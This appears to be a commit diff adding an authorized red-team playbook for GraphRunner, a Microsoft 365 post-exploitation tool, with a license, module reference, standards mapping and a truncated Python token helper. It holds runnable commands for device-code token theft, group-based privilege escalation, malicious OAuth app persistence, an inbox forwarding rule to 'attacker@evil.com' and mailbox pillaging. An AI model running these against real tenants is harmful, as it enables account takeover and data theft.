mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-24 13:40:57 +03:00
Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,206 @@
|
||||
---
|
||||
name: post-exploiting-microsoft-graph-with-graphrunner
|
||||
description: Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner.
|
||||
domain: cybersecurity
|
||||
subdomain: identity-access-management
|
||||
tags:
|
||||
- red-team
|
||||
- microsoft-graph
|
||||
- graphrunner
|
||||
- entra-id
|
||||
- oauth-abuse
|
||||
- account-manipulation
|
||||
- post-exploitation
|
||||
- m365
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.AA-05
|
||||
mitre_attack:
|
||||
- T1098
|
||||
---
|
||||
# Post-Exploiting Microsoft Graph with GraphRunner
|
||||
|
||||
> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
|
||||
|
||||
## Overview
|
||||
|
||||
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
|
||||
|
||||
The toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:
|
||||
|
||||
- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.
|
||||
- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant/user permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations / consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.
|
||||
- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.
|
||||
- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.
|
||||
- **Pillage / Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.
|
||||
- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.
|
||||
|
||||
This maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
|
||||
|
||||
## When to Use
|
||||
|
||||
- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
|
||||
- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
|
||||
- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
|
||||
- When demonstrating privilege escalation through updatable/dynamic groups.
|
||||
- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization and scope for the target tenant.
|
||||
- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).
|
||||
- PowerShell 5.1+ or PowerShell 7 (cross-platform).
|
||||
|
||||
```powershell
|
||||
# Clone and import the module
|
||||
git clone https://github.com/dafthack/GraphRunner.git
|
||||
cd GraphRunner
|
||||
Import-Module .\GraphRunner.ps1
|
||||
|
||||
# List every available module
|
||||
List-GraphRunnerModules
|
||||
```
|
||||
|
||||
## Objectives
|
||||
|
||||
- Authenticate to Microsoft Graph and maintain tokens via refresh.
|
||||
- Enumerate tenant users, groups, CA policies, and OAuth apps.
|
||||
- Identify updatable groups and demonstrate privilege escalation.
|
||||
- Establish persistence via an injected OAuth app and/or inbox forwarding rule.
|
||||
- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
| ID | Tactic | Official Technique Name | Role in this skill |
|
||||
|----|--------|-------------------------|--------------------|
|
||||
| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |
|
||||
| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |
|
||||
| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |
|
||||
| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |
|
||||
| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |
|
||||
| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | `Invoke-InjectOAuthApp` consent-grant persistence |
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Authenticate and refresh tokens
|
||||
|
||||
```powershell
|
||||
# Device-code login; complete the code at microsoft.com/devicelogin
|
||||
Get-GraphTokens
|
||||
|
||||
# Refresh the access token when it expires
|
||||
Invoke-RefreshGraphTokens
|
||||
|
||||
# Keep tokens fresh automatically during a long operation
|
||||
Invoke-AutoTokenRefresh
|
||||
|
||||
# Import tokens captured elsewhere (e.g., from ROADtools)
|
||||
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt
|
||||
```
|
||||
|
||||
### Step 2: Recon and enumeration
|
||||
|
||||
```powershell
|
||||
# High-level tenant + current-user permission recon
|
||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
||||
|
||||
# Dump conditional-access policies
|
||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
||||
|
||||
# Enumerate app registrations, service principals, and consent grants
|
||||
Invoke-DumpApps -Tokens $tokens
|
||||
|
||||
# Enumerate all users and security groups
|
||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
||||
Get-SecurityGroups -Tokens $tokens
|
||||
```
|
||||
|
||||
### Step 3: Search user attributes for secrets
|
||||
|
||||
```powershell
|
||||
# Hunt across all user attributes for terms like "password"
|
||||
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"
|
||||
```
|
||||
|
||||
### Step 4: Privilege escalation via updatable groups
|
||||
|
||||
```powershell
|
||||
# Find groups the current principal can modify directly
|
||||
Get-UpdatableGroups -Tokens $tokens
|
||||
|
||||
# Add yourself (or a controlled account) to a target group
|
||||
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
|
||||
|
||||
# Clone a privileged security group's membership into a new group you control
|
||||
Invoke-SecurityGroupCloner -Tokens $tokens
|
||||
```
|
||||
|
||||
### Step 5: Persistence
|
||||
|
||||
```powershell
|
||||
# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
|
||||
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
|
||||
|
||||
# Create a hidden inbox forwarding rule on a target mailbox
|
||||
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "attacker@evil.com" -RuleName "Sync"
|
||||
```
|
||||
|
||||
### Step 6: Pillage M365 data
|
||||
|
||||
```powershell
|
||||
# Search a mailbox (or all reachable mailboxes) for sensitive terms
|
||||
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
|
||||
|
||||
# Search SharePoint and OneDrive content
|
||||
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
|
||||
|
||||
# Download a discovered file
|
||||
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
|
||||
|
||||
# Search Teams messages
|
||||
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"
|
||||
```
|
||||
|
||||
### Step 7: Automated full pass
|
||||
|
||||
```powershell
|
||||
# Run the orchestrated recon + pillage workflow end to end
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose | Primary Source |
|
||||
|------|---------|----------------|
|
||||
| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner |
|
||||
| GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki |
|
||||
| BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ |
|
||||
| Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview |
|
||||
| ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |
|
||||
|
||||
## OPSEC and Detection Considerations
|
||||
|
||||
GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
|
||||
|
||||
| GraphRunner action | Telemetry source | What the defender sees |
|
||||
|--------------------|------------------|------------------------|
|
||||
| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
|
||||
| `Invoke-InjectOAuthApp` | Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes |
|
||||
| `Invoke-AddGroupMember` / `Invoke-SecurityGroupCloner` | Entra audit logs | "Add member to group" on privileged/role-assignable groups |
|
||||
| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |
|
||||
| `Invoke-SearchMailbox` / `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `/messages` and Drive endpoints |
|
||||
|
||||
To reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.
|
||||
- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).
|
||||
- [ ] Users and security groups enumerated.
|
||||
- [ ] User attributes searched for embedded secrets.
|
||||
- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.
|
||||
- [ ] Persistence established (OAuth app injection and/or inbox forwarding) where in scope.
|
||||
- [ ] Mailbox, SharePoint/OneDrive, and Teams searched for sensitive data.
|
||||
- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.
|
||||
@@ -0,0 +1,73 @@
|
||||
# GraphRunner Module Reference
|
||||
|
||||
Import with `Import-Module .\GraphRunner.ps1`. Run `List-GraphRunnerModules` for the live list.
|
||||
|
||||
## Authentication
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `Get-GraphTokens` | Device-code login; returns `$tokens` object (access + refresh) |
|
||||
| `Invoke-RefreshGraphTokens` | Refresh the access token from the refresh token |
|
||||
| `Invoke-AutoTokenRefresh` | Background auto-refresh during long operations |
|
||||
| `Invoke-ImportTokens` | Import externally captured access/refresh tokens |
|
||||
| `Invoke-RefreshToSharePointToken` | Exchange a Graph token for a SharePoint token |
|
||||
| `Get-AzureAppTokens` / `Invoke-RefreshAzureAppTokens` | App (consent-grant) token flow |
|
||||
| `Invoke-AutoOAuthFlow` / `Invoke-BruteClientIDAccess` | OAuth consent flow helpers |
|
||||
|
||||
## Recon & Enumeration
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `Invoke-GraphRecon` | Tenant + current-user permission summary (`-PermissionEnum`) |
|
||||
| `Invoke-DumpCAPS` | Dump conditional-access policies (`-ResolveGuids`) |
|
||||
| `Invoke-DumpApps` | App registrations, service principals, consent grants, reply URLs |
|
||||
| `Get-AzureADUsers` | Enumerate all users (`-OutFile`) |
|
||||
| `Get-SecurityGroups` / `Get-DirectoryRoles` | Enumerate groups / directory roles |
|
||||
| `Get-UpdatableGroups` | Groups the current principal can modify (privesc) |
|
||||
| `Get-DynamicGroups` | Dynamic membership groups |
|
||||
| `Invoke-SearchUserAttributes` | Search all user attributes for a term (`-SearchTerm`) |
|
||||
| `Invoke-GraphOpenInboxFinder` | Find mailboxes readable by the current user |
|
||||
| `Find-PermissiveCalendars` | Find over-shared calendars |
|
||||
| `Invoke-CheckAccess` | Check token validity/scope |
|
||||
| `Get-EntraIDGroupInfo` / `Invoke-GroupLookup` | Group detail lookups |
|
||||
|
||||
## Privilege Escalation / Account Manipulation
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `Invoke-AddGroupMember` | Add a member to a group (`-GroupId -UserId`) |
|
||||
| `Invoke-RemoveGroupMember` | Remove a group member |
|
||||
| `Invoke-SecurityGroupCloner` | Clone a group's membership into a controlled group |
|
||||
| `Create-SecurityGroupWithMembers` | Create a group with chosen members |
|
||||
| `Invoke-InviteGuest` | Invite an external guest account |
|
||||
|
||||
## Persistence
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `Invoke-InjectOAuthApp` | Deploy a malicious OAuth app (`-AppName -ReplyUrl -Scope`) |
|
||||
| `Invoke-DeleteOAuthApp` | Remove an injected app (cleanup) |
|
||||
| `Invoke-CreateInboxForwardingRule` | Hidden inbox forwarding rule (`-ForwardTo -RuleName`) |
|
||||
|
||||
## Pillage / Data Search
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `Invoke-SearchMailbox` | Search mailbox(es) (`-SearchTerm -MessageCount -OutFile`) |
|
||||
| `Invoke-SearchSharePointAndOneDrive` | Search SharePoint/OneDrive (`-SearchTerm`) |
|
||||
| `Get-SharePointSiteURLs` | Enumerate SharePoint sites |
|
||||
| `Invoke-DriveFileDownload` | Download a drive item (`-DriveItemIDs -FileName`) |
|
||||
| `Invoke-SearchTeams` | Search Teams messages (`-SearchTerm`) |
|
||||
| `Get-TeamsChat` / `Get-TeamsChannels` / `Get-TeamsApps` | Teams enumeration |
|
||||
| `Get-Inbox` / `Invoke-ImmersiveFileReader` | Read inbox / files |
|
||||
|
||||
## Orchestration
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `Invoke-GraphRunner` | Automated recon + pillage pass |
|
||||
| `List-GraphRunnerModules` | Print all available modules |
|
||||
|
||||
## Underlying Graph endpoints (examples)
|
||||
| Action | Endpoint |
|
||||
|--------|----------|
|
||||
| List users | `GET https://graph.microsoft.com/v1.0/users` |
|
||||
| List groups | `GET https://graph.microsoft.com/v1.0/groups` |
|
||||
| Add group member | `POST /groups/{id}/members/$ref` |
|
||||
| Search mail | `GET /me/messages?$search="term"` |
|
||||
| Create app | `POST /applications` |
|
||||
| Mail forwarding rule | `POST /me/mailFolders/inbox/messageRules` |
|
||||
@@ -0,0 +1,23 @@
|
||||
# Standards and Framework Mapping
|
||||
|
||||
## NIST Cybersecurity Framework 2.0
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined in a policy, managed, enforced, and reviewed, incorporating least privilege and separation of duties | GraphRunner abuses over-broad Graph permissions, updatable groups, and OAuth consent; the engagement validates whether PR.AA-05 least-privilege controls actually constrain a token holder. |
|
||||
|
||||
## MITRE ATT&CK (Enterprise)
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| T1098 | Account Manipulation | Adding group members, cloning groups, inviting guests to retain/escalate access. |
|
||||
| T1098.003 | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups. |
|
||||
| T1528 | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition. |
|
||||
| T1087.004 | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes`. |
|
||||
| T1114.002 | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` via Graph. |
|
||||
| T1606.002 | Forge Web Credentials: SAML/OAuth | `Invoke-InjectOAuthApp` consent-grant persistence. |
|
||||
| T1564.008 | Hide Artifacts: Email Hiding Rules | `Invoke-CreateInboxForwardingRule`. |
|
||||
|
||||
## Detection cross-reference
|
||||
|
||||
GraphRunner activity surfaces in `MicrosoftGraphActivityLogs` and `AADGraphActivityLogs`; OAuth app injection appears in audit logs as "Add service principal" / "Consent to application"; group manipulation appears as "Add member to group". These map to NIST DE.CM-09 (computing hardware/software/runtime monitoring) for the defensive counterpart.
|
||||
@@ -0,0 +1,171 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Microsoft Graph post-exploitation recon helper.
|
||||
|
||||
Authorized-use companion to GraphRunner. Drives the same Microsoft Graph REST
|
||||
endpoints GraphRunner uses, from Python, given an existing Graph access token.
|
||||
Supports device-code token acquisition (azcli first-party client) and read-only
|
||||
recon: users, groups, app consent grants, and mailbox search.
|
||||
|
||||
Examples
|
||||
--------
|
||||
# Acquire a token via device code (complete at microsoft.com/devicelogin)
|
||||
python agent.py auth --tenant <tenant-guid-or-domain> > tokens.json
|
||||
|
||||
# Recon with a stored token
|
||||
python agent.py users --token-file tokens.json --out users.json
|
||||
python agent.py groups --token-file tokens.json
|
||||
python agent.py grants --token-file tokens.json
|
||||
python agent.py mail --token-file tokens.json --term password
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
GRAPH = "https://graph.microsoft.com/v1.0"
|
||||
# Microsoft Azure CLI first-party client (public, FOCI) — same class GraphRunner uses.
|
||||
AZCLI_CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
|
||||
|
||||
|
||||
def http_json(method, url, headers=None, data=None):
|
||||
headers = headers or {}
|
||||
body = None
|
||||
if data is not None:
|
||||
if isinstance(data, dict):
|
||||
body = urllib.parse.urlencode(data).encode()
|
||||
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
|
||||
else:
|
||||
body = data.encode()
|
||||
req = urllib.request.Request(url, data=body, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req) as resp:
|
||||
return resp.status, json.loads(resp.read().decode() or "{}")
|
||||
except urllib.error.HTTPError as exc:
|
||||
detail = exc.read().decode(errors="replace")
|
||||
try:
|
||||
return exc.code, json.loads(detail)
|
||||
except json.JSONDecodeError:
|
||||
return exc.code, {"error": detail}
|
||||
|
||||
|
||||
def device_code_auth(tenant):
|
||||
base = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0"
|
||||
scope = "https://graph.microsoft.com/.default offline_access openid"
|
||||
status, dc = http_json("POST", f"{base}/devicecode",
|
||||
data={"client_id": AZCLI_CLIENT_ID, "scope": scope})
|
||||
if status != 200:
|
||||
sys.exit(f"[!] devicecode request failed: {dc}")
|
||||
print(dc["message"], file=sys.stderr)
|
||||
interval = int(dc.get("interval", 5))
|
||||
while True:
|
||||
time.sleep(interval)
|
||||
status, tok = http_json("POST", f"{base}/token", data={
|
||||
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
|
||||
"client_id": AZCLI_CLIENT_ID,
|
||||
"device_code": dc["device_code"],
|
||||
})
|
||||
if status == 200:
|
||||
return tok
|
||||
err = tok.get("error")
|
||||
if err == "authorization_pending":
|
||||
continue
|
||||
if err == "slow_down":
|
||||
interval += 5
|
||||
continue
|
||||
sys.exit(f"[!] token error: {tok}")
|
||||
|
||||
|
||||
def load_token(path):
|
||||
with open(path, "r", encoding="utf-8") as fh:
|
||||
